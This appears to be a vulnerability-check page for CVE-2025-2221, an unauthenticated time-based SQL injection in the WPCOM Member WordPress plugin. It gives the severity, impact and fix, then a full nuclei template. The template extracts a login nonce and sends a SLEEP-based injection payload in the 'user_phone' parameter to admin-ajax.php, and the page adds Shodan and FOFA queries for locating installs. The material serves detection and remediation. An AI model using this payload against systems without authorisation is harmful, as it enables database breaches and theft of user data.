WordPress WPCOM Member <= 1.7.6 - SQL Injection

highseverity

7.5CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter.

Impact

Attackers can extract sensitive database information, potentially leading to data breach and privacy violations.

Fix

Update to the latest version of the plugin that addresses this vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains(body, "member_form_login_nonce") and nonce != ""
Send: @timeout: 25s
Positive when: duration >= 6 and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-2221 -u <target>

The full check

id: CVE-2025-2221

info:
  name: WordPress WPCOM Member <= 1.7.6 - SQL Injection
  author: neosmith1,0x_Akoko
  severity: high
  description: |
   WPCOM Member plugin for WordPress up to 1.7.6 contains a time-based SQL Injection caused by insufficient escaping and lack of preparation on the 'user_phone' parameter, letting unauthenticated attackers extract sensitive information, exploit requires sending crafted 'user_phone' parameter.
  impact: |
   Attackers can extract sensitive database information, potentially leading to data breach and privacy violations.
  remediation: |
   Update to the latest version of the plugin that addresses this vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpcom-member/wpcom-member-176-unauthenticated-sql-injection
    - https://plugins.trac.wordpress.org/browser/wpcom-member/tags/1.7.6/includes/class-sesstion.php#L35
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2221
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-2221
    epss-score: 0.0174
    epss-percentile: 0.77919
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    vendor: Bastien Ho
    product: wpcom-member
    shodan-query: http.component:"WordPress"
    fofa-query: body="wpcom-member"
  tags: cve,cve2025,wordpress,wp-plugin,sqli,wpcom-member,unauthenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpcom_login_modal&type=login

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'member_form_login_nonce" value="([a-z0-9]+)"'
        part: body
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, "member_form_login_nonce")
          - nonce != ""
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 25s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wpcom_login&user_phone=1%27+AND+%28SELECT+1+FROM+%28SELECT+SLEEP%286%29%29a%29--+-&sms_code=123456&member_form_login_nonce={{nonce}}

    matchers:
      - type: dsl
        dsl:
          - duration >= 6
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from